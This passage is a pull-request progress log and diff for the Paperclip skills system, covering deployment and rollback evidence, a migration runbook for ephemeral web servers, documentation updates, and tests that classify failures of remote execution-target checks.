the next container replacement check.
- Full CI at `350f1b377c` passed 50 checks but found two old `mode_denied`
message expectations in case/reassignment tests. Both operations are rejected
earlier by the native scope guard with 403. Updated the assertions and checked
that denial never stops another task. The case-gate regression and all 26
reassignment tests passed locally. Reassignment now uses the existing optional
external-Postgres helper; initial attempts hit exhausted embedded-Postgres
resources and a startup timeout, retained as failures rather than passes.
These follow-ups change only tests and evidence, not candidate runtime code.
- Image `350f1b377c` deployed successfully in Cloud run `41115408877`, confirmed
by local health on deployment `d70457ab-a812-45d5-8a38-657f6bfc02de`, replica
`9f58192d-9207-4065-86e4-48887c6a8b3e`. A/B homes and C's marker were absent.
- Studio test `ef0aa327-f719-44a3-bea2-1d051f2a793a`, task EPH-8
(`860476c5-d4bf-4619-9206-8aa18884f545`), executed successfully but delivered
the agent's normally assigned primary skill instead of the requested unassigned
fork. Its report explicitly records the mismatch. This is a failed qualification,
regardless of the task's Done status. The fix passes the durable Studio pin into
execution preparation, replacing ordinary assignments while preserving recovery
pins and current access checks. Hosted retry remains required.
- The same EPH-8 heartbeat (`94eeb6ff-7d9e-49b7-bee2-0ef5f41ff8a4`) succeeded
and marked its task Done, but the Studio row remained queued with an empty
output snapshot. Native completion bypassed the REST-only success hook. Native
status publication now calls the existing skills owner within its transaction;
status, output and activity commit together. Four real-Postgres regressions pass
for completion/cancellation, replay from another client, transaction rollback,
blocked work and superseded tests. Completion uses a conditional terminal update.
- The two selection regressions pass, including assembled dispatch of an unassigned
historical executable file. Server typecheck and map checks pass. A broad local
execution suite attempt hit timeout cascades (20 passed, 9 failed); this is not
counted as success. Isolated new tests passed; the full affected suite is rerunning.
- Compatible rollback request `2363f01e-2e6b-4b72-9234-3fd0c5f22e88` deployed
`6518b323528b2b595c5949c3ed2c57a8d2438cb6` through Cloud run `41116892516`.
Deployment `5034b027-d9e2-4bd6-8efe-526d3d065d7d`, replica
`9ff45218-e553-4122-b411-e7052c521917`, was confirmed through local health.
The predecessor's `qualification-marker-d` was absent. Studio reopened the
unassigned fork's v3 supporting file as `unassigned-payload-C-20261030`.
- Rollback task EPH-9 (`d5d03621-9616-4713-88ad-0ea54e4c3d53`), run
`7ae0b61d-0e9f-4761-914c-9dc399c0ebc8`, completed on a real remote Computer.
Its `rollback-skill-proof` document matches all six independently known hashes,
managed v7 and repository v1 IDs. It executed the unchanged script with exit 0,
mode 0555 and the acknowledged B payload. Durable command event sequence 293
was independently inspected through the tenant console and confirms those
bytes, hashes and actual execution. The repository rule also produced the useful
independent-requests `Promise.all()` recommendation.
- The complete affected suites passed all 33 tests in 65.65 seconds. The Studio
fix is `417270ab18`; current master `3b84c89885` merged without conflicts as
`5afd8c3b056f6c0fceeb121c0f398beb72317e2b`. Post-merge server typecheck,
all 33 affected tests, map checks and UI token gates passed again.
- The independent OS-process replacement matrix passed again on `5afd8c3b05`
(two scenarios, 54.24 seconds). A/B/C version IDs were
`56c4b315-082f-4caa-8788-02e10b45d3a4`,
`ed03e467-3a81-4256-849e-53ece688e5aa`, and
`9ff5d4ce-43e7-4b2e-883d-8b010fc5c42b`. Cold read was 522.16 ms,
two downloads/899 bytes; warm preparation was 143.72 ms with zero downloads.
Reported RSS was 881,639,424 bytes and disposable home content 820 bytes.
These are local fixture measurements, not hosted latency claims.
- Candidate request `9a03542e-ea41-4ea1-94c8-7dd1ae38c621` prepares in Cloud
run `41118819981` and builds in Core run `41118878753`. The tenant remains on
the verified rollback image until this candidate is deployed.
- Review at `5afd8c3b05` found that existing partial repository versions could
bypass conversion and be reported as eligible. Installation conversion,
eligibility and independent verification now compare the current saved inventory
with the installed inventory. Missing files block readiness; conversion can use
only complete saved/local content or the exact pinned remote source. Both JSONB
and packaged legacy regressions pass, including upstream failure with an unchanged
head, exact-commit repair and unchanged complete installations. The entire managed
content suite passed 16 tests. Build `41118878753` was cancelled before deployment
so hosted acceptance will use a candidate containing this correction.
- Full workspace typecheck passed after allowing the migration launcher's local IPC
socket. The initial sandbox attempt failed with `listen EPERM` before that check
could run. The workspace build is running separately.
- The workspace build passed on `9200e3fcb4` after correcting a missing-version
null check caught by its first attempt. Greptile re-reviewed that commit at
5/5 with zero unresolved findings. Image request
`0b5a10c1-dccf-4c01-9db7-548ea07897a0` prepares in Cloud run `41120340127`
and builds in Core run `41120440752`.
- Earlier failed Studio fixture `ef0aa327-f719-44a3-bea2-1d051f2a793a` was
cancelled through Studio to settle its stale queued pin. Its mismatch report and
draft output remain visible. It is still recorded as a failed qualification.
- CI run `41120305357` found the same obsolete restart-scope fixture in Runner
static checks and general server shard 5. The helper always returned no saved
skill; preparation now correctly rejects that state. It now reads a real durable
test/version row, asserts missing-version rejection first, and still verifies
restricted REST scope after task-mode edits. Both focused HTTP cases and server
typecheck pass. The complete 52-case HTTP suite passed in 63.78 seconds. This follow-up
changes only the test fixture and evidence, leaving image runtime code unchanged.
- Master advanced to `76fde891cc` during image publication. Merge `61f5664337`
preserves both the skill-recovery and native-usage imports; no skills behavior
changed in the merge. Full workspace typecheck and build passed. A combined
local run passed 42 cases, failed three execution timeouts plus a tracer setup
assertion, and skipped 52 HTTP cases after a setup timeout. Isolated retries
are recorded below rather than treating the combined run as passing.
- Review found a delayed conflict-reload response could overwrite text typed after
discard confirmation. The response now applies only while the same skill, file
and draft remain current. All 17 Studio component cases passed, including a
delayed response while the user continues typing. This client-only follow-up
is separate from the `9200e3fcb4` server image used for remote delivery proof.
- Full CI run `41124309799` passed at `7ec495de77`; Greptile review 14 is 5/5
with zero unresolved findings. The isolated local execution retry stopped
producing progress and was interrupted; no success is claimed for that attempt.
The full CI suites cover the integrated execution and HTTP cases.
- Candidate `9200e3fcb45082ad73fbb75863d56eb2e6ce526c` deployed successfully
through Cloud run `41124147876`, ready at `2026-10-30T20:36:46Z`.
Deployment `3daed721-eefe-4947-afe3-d8fd1db6aa2c`, replica
`29375d2e-50ea-467e-9492-a2d4bc7e628e`, retained the temporary C home setting.
Console inspection confirmed A/B homes and the rollback marker absent.
- The Studio retry created test `7c55d51d-c2c9-426e-a2fa-3606c486d41a`, task
`e8405564-1d2e-4013-8aeb-145de0a76fbd`, and remote run
`c6ebc90d-1411-404b-ad6d-789d960a7a48`. It delivered only the selected
unassigned fork `ef34d9e5-2533-497e-8411-a797117afb4a` (v3), with
`unassigned-payload-C-20261030\n`, stdout
`skill-script-A: unassigned-payload-C-20261030\n`, exit 0 and mode 0555.
Studio visibly reached `succeeded` and displayed the durable output snapshot.
The fork still has zero assignments. SHA-256 values match the expected fixture:
`SKILL.md` = `a97ee4d33cac28f9affcc53e48b3de00f72a9a8b70a0b3a53bb81569b1111ae6`,
reference = `0d5a7396baaf395ef24e9136b2f9892e9878d863b42ff3195d376f61248d1f5f`,
script = `8830c87e4e56e76dbe70bfac5fa4260d1e33d62eaa3289d1f8887a3fa9521da0`.
- Independent database inspection confirmed task EPH-10 is done, its native run
succeeded, and its exact durable selection contains only the unassigned fork v3.
The Studio row is `succeeded` with a 1,915-character output snapshot. Runner
command event sequence 204 independently confirms all three hashes, actual
script stdout, exit 0 and mode 0555; these are tool results, not only the agent's
report. The Studio success screenshot is retained with the handoff.
- Final eligibility inspected 14 installations, all `version_backed`.
Independent verification inspected 25 versions: 23 `remote_storage`, two
`database_release_snapshot`, zero blockers, and zero rows at the next cursor.
The first standalone command incorrectly reported packages unavailable because
it had not loaded Cloud's persisted runtime configuration. The same services
passed after loading that snapshot. The CLI now loads it read-only and fails
explicitly if absent, without seeding configuration. A real child-process test
covers missing configuration, no write on inspection, eligibility, and object
verification; it passed. An initial diagnostic wrapper also used a nonexistent
compiled DB entry point; correcting it to the image's source entry point allowed
the bounded verification to run. Neither diagnostic failure changed skill data.
- The CLI child-process regression passed in 46.52 seconds, and server typecheck
passed after the bootstrap correction. The CLI reads existing configuration
without creating or changing it; no new maintenance process or listener exists.
+10
View File
@@ -222,6 +222,16 @@ Core permits read-only suspension proof for the exact saved identity of a
successful warm run after its reuse lease is retained or superseded. This does
not authorize new work or file access through that lease.
Temporary credential homes are not needed after the originating run ends.
An explicit reset to a different normalized session can retire a warm owner
whose close failed only because it could not prove checkpoint suspension. Core
requires the exact lease-bound task's `executionStopped: true` receipt, a
successful `complete` handoff, and settled Core tool results first. It then
collects stopped instruction files before it releases the in-memory owner. The old checkpoint remains evidence;
it is not reused by the new session. A failed handoff, failed file collection,
unsettled Core tool result, other close error, or continuation of the same
session still blocks replacement.
A controller restart is not required for this stopped-owner reset path.
Termination receipts cover all run leases that owned the retired physical task.
A stopped task gets a new provider task ID for checkpoint resumption. Inspection
precedes in-memory session selection so a replacement cannot inherit the stopped
+3 -3
View File
@@ -409,12 +409,12 @@ export interface PaperclipPluginManifestV1 {
exportName: string;
/** For detailTab: which entity types this tab appears on */
entityTypes?: Array<"project" | "issue" | "agent" | "goal" | "run">;
/** Optional agent detail tab mirrored beside a running task.
* Declared board GET route scoped to agent :entityId returns { available: boolean }.
/** Optional agent detail tab offered beside a task for manual selection.
* Declared board GET route scoped to agent :entityId controls readiness for automatic opening.
*/
taskSidePanel?: {
availabilityPath: string;
/** Match runtime.activity.recorded; absent mappings add no task panel. */
/** Match runtime.activity.recorded for automatic opening; manual views need no mapping. */
activation?: { namespace: string; activityKey: string };
};
/** For page and companySettingsPage: single route segment */
+180
View File
@@ -0,0 +1,180 @@
# Skills on ephemeral web servers
The skills guarantee is replacement of A by B, and then C, with empty web-server
homes and the same database, object storage, secrets and supported application
artifacts. Disk remains useful for scratch archives, verified caches and transport
staging. It does not own acknowledged managed edits or installed version selection.
This guarantee does not qualify instructions, workspaces, controller state, run
logs, traffic switching or readiness/draining for volume removal.
## Ownership and publication
`managed` is Paperclip ownership. Its locator is null; editability does not depend
on a directory's position beneath a managed root. Existing policies normalize it
to `workspace`, the policy category previously used by managed local skills.
Repository provenance and tracking remain separate from installed content. Forks
and disconnected editable copies retain source access and cannot publish restricted
content through a public source category.
`managed-skill-content.ts` reads immutable version inventories, prepares candidates,
and publishes them against a captured head. Package upload and verification happen
before the final database transaction. That transaction rechecks identity/access,
locks names in sorted order, locks the skill, verifies the base, and publishes the
version, head, projections and applicable mutation audit/receipt. Publication races
return `409`; clients must reconcile instead of automatically rebasing. Complete
inline versions remain the compatibility fallback when external writes are disabled;
they never depend on an installed directory. Normal cloud qualification uses remote
object storage.
The initial create response, including its original version, can be replayed after
a lost response and subsequent edits. Its durable API receipt retains the response
projection without Markdown; the immutable version supplies the body. Receipts
remain scoped to company, actor and operation context. A deleted skill's receipt
fails explicitly rather than creating another identity.
`skill-execution-content.ts` owns temporary materialization. Heartbeat preparation
selects authorized immutable versions, saves the selection (including an empty
selection), and only then materializes admitted entries while retaining the existing
retention lock. A renamed skill is recovered through the version's stable skill ID.
Native recovery resolves the version, reconstructs its v1 projection and requires
the admitted digest, manifest digest, file count and byte count to match. Adjacent
compatible releases must preserve that projection contract.
Studio tests deliver the selected saved version through the same native Runner
path, even without a permanent agent assignment. Their `skill_test` mode remains
explicit in the execution input. The durable test row replaces ordinary agent
assignments with its exact version, independently of the Beta skills preference;
required environment skills remain subject to their existing policy. A shadowed
or inaccessible test skill fails preparation. Preconfigured Runner homes cannot
receive this managed delivery, so Studio requires an isolated home. Task-bound
credentials and native authorization
retain the admitted scope through restart and task-mode edits. Native tools expose
only the harness task and admitted skills; company browsing, task creation,
connectors and assigned MCP tools are unavailable. A rollback image must understand
that mode to continue an active Studio test. Settle tests before rolling back to an
earlier image that rejects it.
Native task completion publishes the Studio result and output snapshot in the
same transaction as its status decision. Replaying a committed decision cannot
recapture later document edits or duplicate completion activity. A successful
provider turn alone does not complete a test whose task remains unfinished.
Bundled release snapshots remain immutable. Reconciliation preserves an installed
head; an older process must never promote its shipped bytes over another installed
version. The shipped release history remains independently selectable. Linked-local
skills retain mutable source behavior and are explicitly excluded from cloud readiness.
## One-time conversion
First deploy compatible readers and shared/API types. Preserve the old volume and
keep legacy writers until the final supported contents can be captured. Automatic
JSONB package migration is separate from installation conversion; passing one does
not prove the other is finished.
Run the existing bounded CLI with the target's explicit database and storage config:
```sh
pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=eligibility --company=<uuid> --limit=10
pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=installations --company=<uuid> --limit=10
```
These commands return a cursor. Continue each phase with `--after=<uuid>` until an
empty batch. Eligibility is a metadata-only report, not a storage verification claim.
Installation preview inspects candidate legacy contents without publishing them.
For remote legacy imports it can acquire their exact pinned source; it must never
use the latest branch as a replacement for missing installed content.
1. Inventory all companies and source kinds. Identify missing versions, incomplete
inventory, local storage receipts, catalog reset snapshots and unresolved runs.
2. Backfill legacy package/version bodies with the existing `snapshots` and
`versions` phases. The latter also fills missing version metadata indexes so
subsequent library/history reads need no object downloads. Keep original bytes
until independent verification succeeds.
3. Stop admission and skill/source writers; retire every filesystem-authoritative
process. The `--writers-stopped` flag attests this operator action; it does not
stop the application itself.
4. Apply final installation conversion on the host with the legacy files:
```sh
pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=installations --company=<uuid> --limit=10 --apply --writers-stopped
```
5. Sweep `eligibility` and `verification`, including all historical versions. The
latter verifies object bytes independently of caches. Follow all cursors; a
successful first batch is not a complete readiness report.
6. Start a compatible server with a fresh home and test list, file read, authoring,
history and exact selected execution before reopening normal admission.
Managed conversion preserves skill IDs, keys, history, assignments, pins and access
provenance. Identical complete snapshots reuse their version IDs. Catalog conversion
preserves the original reset version as well as installed content. A missing legacy
directory can use a complete verified saved version. A partial Markdown-only rescue,
unknown revision, unsafe source tree or active legacy selection without exact version
identity is a blocker. Settle or snapshot such runs while A is still available; do
not cancel them simply to pass preflight.
Report statuses distinguish linked-local sources, legacy managed/catalog records,
missing current versions, unknown active-run selections, missing/corrupt packages,
local storage and provider mismatch. Expired unused Git history keeps its existing
30-day/exact-commit policy. Current, pinned, authored and recovering versions need
independent durable content. `local_storage` is supported self-hosted durability;
it does not satisfy remote empty-disk recovery.
## Storage and rollback
Cloud readiness requires external Postgres and remote object storage. Migrate and
verify existing local-disk objects before changing provider/bucket configuration;
changing configuration alone does not copy receipts or objects. Keep the old provider
available until a provider migration has copied and independently verified every
referenced object and atomically updated its storage receipt. This command does not
perform provider migration: `local_storage` and `provider_mismatch` are blocking
results for cloud qualification, not instructions to switch configuration and retry.
A directory of extracted caches is never a durable object backend.
The maintenance CLI reads the existing storage configuration directly so it can
verify legacy local-disk objects before cutover. On Cloud it still requires the
persisted runtime configuration and never seeds or changes that configuration.
This maintenance boundary does not start a server or relax Cloud server startup
requirements for external PostgreSQL, shared object storage and a stable secret
key. Apply operations retain their existing stopped-writer gates.
Conversion establishes the rollback floor. Afterward only compatible version-reading
binaries may overlap or be rolled back against the same remote state. Reattaching an
old volume does not roll back committed content. Filesystem-authoritative binaries
require an explicit reverse migration and are unsupported rollback targets.
A routine compatible A → B upgrade needs no skills conversion or filesystem copy.
A current version ID alone does not establish conversion completeness. Eligibility
and independent verification compare its file inventory with the installed record
and report `incomplete_current_version` when supporting files are missing. Installation
conversion can reacquire a complete exact pinned source; unavailable or unpinned
sources remain blockers. Historical versions are not compared with newer installed
inventories, since later revisions may legitimately add files.
## Qualification
The focused service suite covers publication rollback/conflict, supporting and binary
files, executable modes, restore/fork/rename, active-run deletion protection and legacy
conversion. The opt-in process suite starts independent Node servers with one database
connection each, exercises real HTTP routes and object storage, removes predecessor
homes and executes a delivered harmless script. It also injects a lost response, failed
upload and process death during upload. It is a skills-router qualification, not a
full hosted Runner or whole-application deployment claim.
Use owned disposable Postgres and S3-compatible fixtures. The optional admin URL
creates a random database per test suite and never migrates the database named in
that URL. The S3 test creates and removes its own random bucket. Supply test-only AWS
credentials through the environment:
```sh
PAPERCLIP_TEST_POSTGRES_ADMIN_URL=<disposable-postgres-url> \
PAPERCLIP_TEST_S3_ENDPOINT=<disposable-s3-endpoint> \
pnpm exec vitest run server/src/__tests__/ephemeral-skills-process.test.ts
```
Record revision, fixture image digests, version IDs, cache/object reads, cold/warm
timings and useful output. These local timings do not establish hosted latency.
Separately qualify one disposable staging tenant and a real remote Runner, including
an explicit repository import, historical pin, fresh-home replacements, compatible
rollback and recovery without predecessor paths. Publish the observed evidence with
the PR; a passing local suite is not that staging evidence.
+45 -13
View File
@@ -7,7 +7,26 @@ The original repository tree, wrappers, binary bytes and executable flags retain
their existing behavior. New Git packages also retain an immutable restore recipe;
locally authored/edited packages and unproven legacy packages keep a durable copy.
## Automatic upgrade
## Installed content authority
Paperclip-owned skills use `sourceType: managed`, `sourceLocator: null`, and an
immutable `currentVersionId`. Creation, edits, deletion of files, forks and restores
prepare verified packages before a short transaction publishes the version, head,
metadata and audit. A competing head returns `409`; it never overwrites another
writer's files. Acknowledged saves survive cache loss. Studio submits the version it
read and preserves unsaved text on a conflict.
Repository and catalog installations also read committed versions. Runtime selection
persists version pins before delivery materializes files. Recovery uses the pinned
version and checks its reconstructed v1 asset digest; a previous server's `rootPath`
is not proof of availability. Active or recovering run pins block whole-skill deletion,
even after the agent assignment is detached. Explicit linked-local sources retain
their local filesystem behavior and are outside this replacement guarantee.
See [ephemeral web-server operation](skill-ephemeral-web-servers.md) for the one-time
installation conversion, rollback boundary and qualification procedure.
## Automatic package upgrade
No data-migration command is required. The normal schema upgrade applies migration
0415 (`0415_zippy_zemo.sql`). External writes and automatic conversion are enabled by default. Startup
@@ -31,20 +50,30 @@ reader is the rollback floor; an older binary needs rehydrated database contents
Use durable, backed-up local storage or S3-compatible storage for authored packages.
The extracted cache is not that storage backend.
Deleting an editable file or folder keeps a temporary copy outside the skill until
the transaction commits. Upload or database failures restore the original subtree,
including binary files, permissions, empty folders and files omitted from inventory.
Successful deletions remove the temporary copy; historical versions retain their
existing package bytes. If the commit reply is lost, recovery checks the saved
version under the mutation lock before restoring. A committed deletion stays
deleted. If the database is unavailable or the skill has since changed, recovery
preserves the backup and logs its location instead of overwriting newer work.
Managed file and folder deletion publishes a new inventory. It requires no local
rollback copy. Unused uploads follow the existing orphan/deletion machinery; a
post-commit cache or notification failure cannot undo a committed save. Only the
explicit linked-local compatibility adapter retains filesystem rollback handling.
Create idempotency receipts retain the original response projection and immutable
version identity in `company_skill_mutation_receipts`; file-save receipts keep their
existing activity receipt shape. Retries reauthorize access. Deleted identities do
not transfer their receipts to a skill recreated with the same name. Skill bodies
remain in packages/versions rather than activity logs.
The optional `server/scripts/migrate-skill-packages.ts` command remains available for
diagnostics and controlled batches. It defaults to dry run, supports
`--phase=snapshots|versions|orphans|deletions`, `--company=<uuid>`, `--limit=1..50`,
`--phase=snapshots|versions|orphans|deletions|installations|eligibility|verification`, `--company=<uuid>`, `--limit=1..50`,
`--after=<uuid>`, `--apply` and `--clear-legacy`. It is not part of normal installation
or upgrade. Never point it at another instance's database/storage configuration.
or compatible routine upgrade. The installations phase is the one-time legacy
conversion boundary described in the linked runbook. Never point it at another instance's database/storage configuration.
New package-backed versions retain their complete path/kind/encoding index in
`package_file_map`, including identity mappings. Library and version listing read
this metadata without downloading manifests or archives. The bounded `versions`
phase also backfills older null indexes from verified manifests without changing
version IDs or content; include that phase in legacy conversion. Old null indexes
remain readable during conversion, with a cold manifest read when needed.
## Acquisition and retention
@@ -83,8 +112,11 @@ Package/version publication and deletion use transaction-aware work notification
local asset use signals its filesystem worker. Both reuse the delivery coordinator,
restore deadlines on startup, pause in drain/standby, and stop on shutdown. With no
pending conversion, retry, or eligible cache deadline they perform no recurring work.
The supported live writer is the owning server; independent SQL writers/other servers
need restart reconstruction or an explicit wake. No permanent DB listener is added.
Compatible servers resolve the durable head on each content operation and use
transactional publication checks. Content correctness needs no process-local
invalidation. Maintenance wake delivery across instances remains owned by the
delivery coordinator; startup reconstructs pending deadlines. No permanent
skills-specific DB listener is added.
Conversion retains authoritative legacy bytes until verification succeeds. Conversion
retries and cache/deletion dates are optional maintenance eligibility; they may wait
until the next ingress wake, including with package storage disabled. They do not
+4
View File
@@ -270,6 +270,10 @@ Policy: Agent creation/configuration uses action grants, resource policies and c
consent; some controls require a board actor.
Permanent deletion is board-only. Retained case handoff references return
`409 agent_case_history_retained` before dependency cleanup; keep the agent terminated.
Failed configuration verification waits for a changed execution configuration
or an authorized explicit retry. That wait does not grant an agent permission
to retry itself, resume execution, or change configuration. Temporary verification
outages retain automatic recovery.
Evidence: `source-only` — [implementation](../../server/src/routes/agents.ts#L1395) at
the reviewed commit above.
+23
View File
@@ -29,6 +29,15 @@ covers separate actors and revoked project access; the
[package regression](../../server/src/__tests__/skill-package-store.test.ts) covers
company isolation and warm-cache behavior. This does not claim live agent qualification.
Managed ownership remains in the existing `workspace` policy category. Immutable
content references do not grant authority: publication rechecks policy and source
access, and delivery/recovery rechecks the company's skill visibility. File reads
and mutations return `versionId`; content requests may supply `expectedVersionId`
and receive `409` on a stale base. Existing idempotent agent receipt shapes remain.
Detached assignments do not release active/recovering execution pins. These are
source-reviewed contracts; the independent-process board fixture is not agent
credential or hosted Runner qualification.
## `discovery`
Capability ID: `skills/discovery`.
@@ -210,6 +219,20 @@ Gaps: No dedicated native orchestration binding; generic REST calls retain
skills.test policy, task-assignment authorization, responsible-user intersection and
admitted skill-test JWT scope.
Studio's `skill_test` work mode is admitted through native Runner selection and
preserved in execution input. The admitted task-bound scope restricts REST and
native authorization, including after task-mode edits and recovery. Native tools
allow only the harness task and admitted skills. Task creation, company browsing,
connectors and assigned MCP tools are unavailable; native mutation receipts recheck
the scope before replay or effects.
Preparation reads the pinned version from the durable test row, replaces ordinary
assignments, and enforces current skill access. Required environment skills retain
their owner policy; a shadowed test pin fails explicitly. Recovery preserves the
admitted selection. Preconfigured Runner homes reject managed Studio delivery.
The [execution configuration regression](../../server/src/__tests__/heartbeat-execution-configuration.test.ts)
covers unassigned historical pins, Beta skills disabled, revoked access, recovery,
unchanged agent assignments, and assembled heartbeat dispatch.
Project-source API additions: GET `/api/companies/{companyId}/skill-sources/project-repositories`,
POST `/api/companies/{companyId}/skill-sources/adopt-project` with `workspaceId`, and
PATCH `/api/companies/{companyId}/skill-sources/{sourceId}/settings` with expected revision
+3 -1
View File
@@ -215,7 +215,9 @@ Manual: Save a harmless instruction edit, reload, and verify its revision and ef
For failed setup, use an unavailable model or invalid command on a disposable agent.
Confirm the profile names the failed verification step and gives a relevant action.
Check that it explains automatic retry and offers **Retry now**. Fix the configuration,
Check that a failed configuration test explains that automatic verification is paused
and offers **Retry now**. Repeated refreshes must not start another test. Timeouts
and temporary test-environment failures still retry automatically. Fix the configuration,
retry, and reload; the failure must disappear only after readiness commits.
Provider output and credentials must not appear in the lifecycle message.
+14
View File
@@ -55,6 +55,14 @@ Automated: [Studio](../../ui/src/pages/SkillStudio.test.tsx) covers UI behavior;
Manual: Create or fork a disposable skill, edit instructions, save, and reload. Run a bounded test, respond to any question, and inspect the output. Verify the saved version matches what was tested and failed saves retain the draft.
For managed skills, open the same file in two Studio sessions. Save through one,
then save the other's stale draft. It must receive a conflict, retain its text,
and offer **Load latest saved file** with discard confirmation. File reads and
mutation results identify the committed version. Managed content has no server
source-directory repair flow. The [domain regression](../../server/src/__tests__/managed-skill-content.test.ts)
and [process qualification](../../server/src/__tests__/ephemeral-skills-process.test.ts)
cover fresh-home recovery; remote Runner staging remains a separate live proof.
Version history lists file metadata without downloading archives. Opening a diff
fetches only its selected versions; restoring fetches the chosen version. The
[library UI regression](../../ui/src/pages/CompanySkills.test.tsx) checks deferred
@@ -152,6 +160,12 @@ Capability ID: `skills/testing`.
Scope: ui
Storybook: Studio test inputs/configuration, running, question/approval, result and failed test states.
Production: Run bounded test of actual saved version with correct selected account/environment; inspect persisted test detail and eligible interaction response.
Remote Runner selection accepts the Studio test work mode and preserves its
restricted scope; live qualification must cover the saved version delivered to
the selected Computer, including a skill with no permanent agent assignment.
The [execution configuration regression](../../server/src/__tests__/heartbeat-execution-configuration.test.ts)
checks that Studio's historical version replaces ordinary assignments without
changing the agent's configuration. Use an isolated Runner home for this journey.
Sources: Source: [SkillStudio.tsx](../../ui/src/pages/SkillStudio.tsx), [companySkills.ts](../../ui/src/api/companySkills.ts). Tests: [SkillStudio.test.tsx](../../ui/src/pages/SkillStudio.test.tsx), [company-skill-test-runs-service.test.ts](../../server/src/__tests__/company-skill-test-runs-service.test.ts)
### Documentation scope: Skills, Skill Studio, and teams
+13 -11
View File
@@ -59,17 +59,19 @@ their execution, and uncertain prior executions must be reconciled before waking
### Plugin task panels
An installed plugin can offer an agent detail tab in the task side panel through
its optional `taskSidePanel` declaration. The host supplies the task's running
agent and run. The runtime captures Runner context before use and records
`runtime.activity.recorded` after success. Runner rejects stale contexts and knows
no plugin or view identity. Core maps the recorded namespace/activity key to the
panel's declared activation pair and restores it from the run log on reload or
reconnect. Readiness gets three bounded attempts after matching activity, with
no periodic availability poll. Declarations without a mapping add no task panel.
The plugin's authorized availability route decides whether the panel is
shown, and the plugin owns its label and viewer. No contribution appears for a
missing plugin, inactive run, unavailable view or access failure. A closed panel
can be reopened from the launcher while available.
its optional `taskSidePanel` declaration. The launcher offers that view for the
running agent, or the task's assigned agent when idle. Manual selection mounts
the same authorized viewer used on the agent page and needs no activity event.
The view remains selectable after the run ends.
A declared activation pair controls automatic opening. The runtime captures
Runner context before use and records `runtime.activity.recorded` after success.
Core maps that namespace/activity key to the declaration and restores it from
the run log on reload or reconnect. After matching activity, readiness gets
three bounded attempts with no periodic availability poll. A ready view opens
the pane and selects its tab once per run, respecting dismissal during that run.
Declarations without a mapping support manual selection. Plugins own viewer
content, readiness, and authorization. Missing or disabled plugins add no view.
Implementation: [panel discovery](../../ui/src/hooks/useTaskPluginPanels.ts) and
[task panel](../../ui/src/components/task-side-panel/TaskSidePanel.tsx).
@@ -8,6 +8,9 @@ import {
prepareGitHubOperationLaunchers,
adapterExecutionTargetUsesManagedHome,
ensureAdapterExecutionTargetRuntimeCommandInstalled,
ensureAdapterExecutionTargetDirectory,
ensureAdapterExecutionTargetCommandResolvable,
isAdapterExecutionTargetUnavailableError,
resolveAdapterExecutionTargetCwd,
runAdapterExecutionTargetProcess,
runAdapterExecutionTargetShellCommand,
@@ -32,6 +35,58 @@ function sshExecutionTarget(): AdapterSshExecutionTarget {
};
}
describe("execution target validation failures", () => {
afterEach(() => vi.restoreAllMocks());
const result = { exitCode: 0, signal: null, timedOut: false, stdout: "", stderr: "", pid: null, startedAt: "" };
it.each(["directory", "command"] as const)("preserves temporary %s probe failures", async check => {
for (const failure of ["timeout", "transport", "interrupted"] as const) {
const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: {
execute: vi.fn(async () => {
if (failure === "transport") throw Object.assign(new Error("private transport detail"), { code: "ECONNRESET" });
return { ...result, exitCode: null, timedOut: failure === "timeout", signal: failure === "interrupted" ? "SIGTERM" : null };
}),
} };
const work = check === "directory"
? ensureAdapterExecutionTargetDirectory("test", target, "/workspace", { cwd: "/workspace", env: {} })
: ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {});
const error = await work.catch(error => error);
expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true);
}
});
it("preserves SSH disconnections instead of reporting a missing directory", async () => {
vi.spyOn(ssh, "runSshCommand").mockRejectedValue(Object.assign(new Error("private SSH detail"), { code: 255 }));
const error = await ensureAdapterExecutionTargetDirectory("test", sshExecutionTarget(), "/workspace", {
cwd: "/workspace", env: {},
}).catch(error => error);
expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true);
});
it.each(["directory", "command"] as const)("retains a confirmed missing %s as a configuration failure", async check => {
const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: {
execute: vi.fn(async () => ({ ...result, exitCode: 1 })),
} };
const error = await (check === "directory"
? ensureAdapterExecutionTargetDirectory("test", target, "/workspace", { cwd: "/workspace", env: {} })
: ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {})).catch(error => error);
expect(error).toBeInstanceOf(Error);
expect(isAdapterExecutionTargetUnavailableError(error)).toBe(false);
});
it("does not turn an installation timeout into a permanent missing command", async () => {
const execute = vi.fn().mockResolvedValueOnce({ ...result, exitCode: 1 })
.mockResolvedValueOnce({ ...result, exitCode: null, timedOut: true })
.mockResolvedValueOnce({ ...result, exitCode: 1 });
const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: { execute } };
const error = await ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {}, {
installCommand: "install-fixture",
}).catch(error => error);
expect(execute).toHaveBeenCalledTimes(3);
expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true);
});
});
describe("runAdapterExecutionTargetShellCommand", () => {
afterEach(() => {
vi.restoreAllMocks();
+58 -28
View File
@@ -735,23 +735,53 @@ export async function ensureAdapterExecutionTargetCommandResolvable(
});
}
function executionTargetCheckUnavailable(message: string, cause?: unknown): Error {
return Object.assign(new Error(message, { cause }), { code: "adapter_execution_target_unavailable" });
}
/** Preserve target failures before an adapter translates them into a failed check. */
export function isAdapterExecutionTargetUnavailableError(error: unknown): boolean {
return typeof error === "object" && error !== null && "code" in error
&& error.code === "adapter_execution_target_unavailable";
}
async function runRemoteExecutionTargetCheck(
target: AdapterExecutionTarget,
description: string,
check: () => Promise<RunProcessResult>,
): Promise<RunProcessResult> {
let result: RunProcessResult;
try {
result = await check();
} catch (error) {
throw executionTargetCheckUnavailable(`Could not complete ${description}`, error);
}
if (result.timedOut || result.signal || result.exitCode === null
|| (target.kind === "remote" && target.transport === "ssh" && result.exitCode === 255)) {
throw executionTargetCheckUnavailable(`${result.timedOut ? "Timed out" : "Could not complete"} ${description}`);
}
return result;
}
async function probeSandboxCommandResolvable(
command: string,
